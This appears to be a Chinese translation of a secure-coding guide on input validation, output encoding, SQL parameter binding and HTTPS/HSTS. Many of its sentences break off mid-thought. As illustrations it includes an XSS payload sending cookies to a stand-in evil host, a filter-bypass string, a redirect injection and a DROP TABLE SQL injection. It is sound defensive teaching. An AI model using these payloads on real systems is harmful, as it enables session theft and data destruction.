编码校验
编码与校验
Trust( 信赖)
首先,在讨论具体的输入输出之前,我们需要来强调下自认为安全中最重要也是最根本的原则:Trust。作为一个开发者,也需要不断地问自己,我们相信来自于用户浏览器的请求吗?我们相信上游系统正常工作来保证了我们数据的干净与安全吗?我们相信服务器与浏览器之间的信道就不会被监听或者伪造吗?我们相信我们系统本身依赖的服务或者数据存储吗?呵呵,都不可信。当然,就像安全一样,
Reject Unexpected Form Input( 拒绝未知的表单输入)
Untrusted Input
无论我们是否在客户端提供了表单验证或者是否使用了
final String communicationType = req.getParameter("communicationType");
if ("email".equals(communicationType)) {
sendByEmail();
} else if ("text".equals(communicationType)) {
sendByText();
} else {
sendError(resp, format("Can't send by type %s", communicationType));
}
上面代码危不危险取决于sendError
这个方法是怎么定义的,而我们肯定无法确定下游的代码就一定是安全的。最好的选择就是我们在控制流中移除这个危险,而使用的方法就是输入验证。
Input Validation
输入验证即是保证实际输入与应用预期的输入的一致性。超出预期的输入数据会导致我们系统抛出未知的结果,譬如逻辑崩坏、触发错误乃至于允许攻击者控制系统的一部分。其中像数据库查询这样的能够在服务端作为可执行代码的输入与yyyy/mm/dd
这样的时间日期。它可以限制输入的长度、单个字符的编码规范或者上面例子中的只有给定值可以被接受。另外一种考虑输入验证的思维角度就是把它当做服务端与消费者之间签订的一种协议,任何违背了这个协议的请求都是无效的并且被拒绝。你的这个协议越严格,你的系统在未知情况下遭受的风险就会越小。而当对于某个输入验证失败之后,开发者也要好好考虑应该如何反馈。最严格,也是最有争议的办法就是全部拒绝,并且没有任何反馈,不过要注意将这个事情通过日志或者监控记录下来。不过为啥一点反馈都没有呢?我们需要提供给用户哪些信息是无效的吗?这一点还是要取决于你的约定。在上面的例子中,如果你接收到了除了email
或者text
之外的内容,那你有可能被攻击了。不过如果你进行了反馈,可能正中全套。譬如如果开发者直接返回:俺们并不认识你传入的
<script>new Image().src = ‘http://evil.martinfowler.com/steal?' + document.cookie</script>
这种情况下你就会面临一个用来盗取你的
In Practice
实践中,我们经常要通过过滤<script>
标签来避免一些攻击,过滤掉这些包含着危险值的输入的方法就是所谓的<script>
标签,而一个攻击者可以通过输入下面这样的字符串来逃避检查:
<scr<script>ipt>
在现代的
In Summary
- 尽可能地使用白名单
- 在不能用白名单的时候用黑名单
- 尽可能地使用严格约定
- 确保警示潜在的攻击
- 避免直接地输入反馈
- 尽可能地在不可信数据深入系统逻辑之前进行处理,或者直接使用你的框架的白名单机制
Encode HTML Output:HTML 输出内容编码
除了上述所说的对于输入的过滤与限制之外,<script>
或者<style>
这样的标记来进行切割。用户可能在没料到的地方使用尖括号,特别是在一个可执行的上下文中附着一些特定内容,譬如
Output Risks
Output Encoding
输出编码即是将输出的数据流转化为最终的输出的格式,输出编码的难点或者复杂的地方在于需要根据输出数据流向的不同选定不同的编码方式。如果没有合适的编码方式,应用可能会给客户端提供一个错误格式的数据,导致输出数据不可用乃至于存在一定风险。攻击者往往会利用错误的编码方式中的漏洞使得整个输出数据的结构失控。譬如在我们的电商系统中有个用户叫做
<p>The Honorable Justice Sandra Day O'Connor</p>
The Honorable Justice Sandra Day O'Connor
开发者期望的正是这样渲染得出的界面,不过如果我们是基于
document.getElementById('name').innerText = 'Sandra Day O'Connor' //<--unescaped string
而这样的代码正是攻击者们孜孜不倦寻找的漏洞点来执行他们的自定义代码,如果另一个用户
Sandra Day O';window.location='http://evil.martinfowler.com/';
那么所有看到他名字页面的用户都会被重定向到一个危险的站点,而如果我们应用正确地在这个
'Sandra Day O\';window.location=\'http://evil.martinfowler.com/\';'
那么整个文本虽然看上去有点杂乱,但是已经变成了没有任何危害的不可执行的代码。一般来说我们有很多种方式可以来对
Cautions and Caveats
关于输出编码这部分还有几个需要了解的地方,重要的事情多强调几遍,一定要选择一个自带编码功能的框架。另外还需要注意的是,尽管一个框架可以安全地渲染
In Summary
- 以合适的编码手段对所有从应用中吐出的数据进行编码
- 尽可能地使用框架提供的输出编码功能
- 尽量避免嵌入式渲染上下文
- 以原始格式存放数据,在渲染时进行编码
- 避免使用不安全的框架与规避了编码的
JS 调用
Bind Parameters for Database Queries
不管你是用
Little Bobby Tables
很多关于数据库中参数绑定的讨论都会包含著名的

void addStudent(String lastName, String firstName) {
String query = "INSERT INTO students (last_name, first_name) VALUES ('"
+ lastName + "', '" + firstName + "')";
getConnection().createStatement().execute(query);
}
如果输入的参数是 “Fowler” 与 “Martin”,那么最终构造出的
INSERT INTO students (last_name, first_name) VALUES ('Fowler', 'Martin')
不过如果输入的是上面那娃的名字,那么整个待执行的
INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert’); DROP TABLE Students;-- ')
实际上,这个
INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert')
DROP TABLE Students
最后的--
注释是为了屏蔽余下的内容,保证整个
采用参数绑定来解决这个问题
对于上文描述的这种场景,如果只是依赖于简单的清洗过滤,肯定无法应付所有的攻击载荷,这也不是一个正道。基本上能够采取的方法就是所谓的参数绑定,譬如PreparedStatement.setXXX()
方法,参数绑定可以将像
void addStudent(String lastName, String firstName) {
PreparedStatement stmt = getConnection().prepareStatement("INSERT INTO students (last_name, first_name) VALUES (?, ?)");
stmt.setString(1, lastName);
stmt.setString(2, firstName);
stmt.execute();
}
一般来说,一个功能比较全面地数据访问层都会提供这种参数绑定的功能,开发者在开发的时候就要注意将所有的不受信任的输入通过参数绑定生成
Clean and Safe Code
有时候我们开发时会遇到一个两难的问题,即是好的安全性与干净整洁的代码之间的冲突。为了保证安全性往往需要我们增加些额外的代码,不过在上面的例子中我们还是同时达成了较高的安全性与好的代码设计。使用绑定的参数不仅能使应用系统免于注入攻击,还能通过在代码与内容之间构建清晰的边界来增加整个代码的可读性,并且与手动拼接相比还能大大简化构造可用的
Common Misconceptions
有一个常见的错误思维就是觉得存储过程能够避免$where
这个操作符。
Parameter Binding Functions
Framework | Encoded | Dangerous |
---|---|---|
Raw JDBC | Connection.prepareStatement() used with setXXX() methods and bound parameters for all input. |
Any query or update method called with string concatenation rather than binding. |
PHP / MySQLi | prepare() used with bind_param for all input. |
Any query or update method called with string concatenation rather than binding. |
MongoDB | Basic CRUD operations such as find(), insert(), with BSON document field names controlled by application. | Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as “$where” that allow arbitrary JavaScript conditions. |
Cassandra | Session.prepare used with BoundStatement and bound parameters for all input. | Any query or update method called with string concatenation rather than binding. |
Hibernate / JPA | Use SQL or JPQL/OQL with bound parameters via setParameter | Any query or update method called with string concatenation rather than binding. |
ActiveRecord | Condition functions (find_by, where) if used with hashes or bound parameters, eg: where (foo: bar)where ("foo = ?", bar) |
Condition functions used with string concatenation or interpolation: where("foo = '#{bar}'")where("foo = '" + bar + "'") |
In Summary
- 避免直接从用户的输入中构建出
SQL 或者等价的NoSQL 查询语句 - 在查询语句与存储过程中都使用参数绑定
- 尽可能使用框架提供好的原生的绑定方法而不是用你自己的编码方法
- 不要觉得存储过程或者
ORM 框架可以帮到你,你还是需要手动调用存储过程 NoSQL 也存在着注入的危险
Protect Data in Transit
当我们着眼于系统的输入输出的时候,还有另一个重要的店需要考虑进去,就是传输过程中数据的保密性与完整性。在使用原始的
HTTPS and Transport Layer Security
Get a Server Certificate
对于网站的安全认证依赖于
Configure Your Server
当你申请到了证书之后,你就可以开始配置你的服务器支持
Use HTTPS for Everything
现在我们经常碰到一些网站仅仅只用
# Redirect requests to /content to use HTTPS (mod_rewrite is required)
RewriteEngine On
RewriteCond %{HTTPS} != on [NC]
RewriteCond %{REQUEST_URI} ^/content(/.*)?
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]
Use HSTS
让用户从
Strict-Transport-Security: max-age=15768000
上述的设置会告诉浏览器只和使用
<VirtualHost *:443>
...
# HSTS (mod_headers is required) (15768000 seconds = 6 months)
Header always set Strict-Transport-Security "max-age=15768000"
</VirtualHost>
不过现在并不是所有的浏览器都支持
Protect Cookies
浏览器目前有内建的安全机制来避免包含敏感信息的secure
标识位能够强制让浏览器只会用
Other Risks
即使你全站都用了
Verify Your Configuration
最后一步,你要仔细验证你的配置是否有效。有很多的在线工具可以帮你做这件事,譬如
In Summary
- 啥地方都要用
HTTPS - 采用
HSTS 来强制使用HTTPS - 别忘了从可信的证书机构中请求可信证书
- 不要乱放你的私钥
- 用合理的配置工具来生成可靠地
HTTPS 配置 - 在
Cookie 中设置 “secure” 标识 - 不要把敏感的数据放在
URL 中 - 隔一段时间就要好好看看你的
HTTPS 的配置,表过时了
HTTP 响应设置
const express = require("express");
const PORT = process.env.PORT || 3000;
const app = express();
app.get("/", (req, res) => {
res.send(`<h1>Hello World</h1>`);
});
app.listen(PORT, () => {
console.log(`Listening on http://localhost:${PORT}`);
});
...
const helmet = require('helmet');
...
app.use(helmet());
...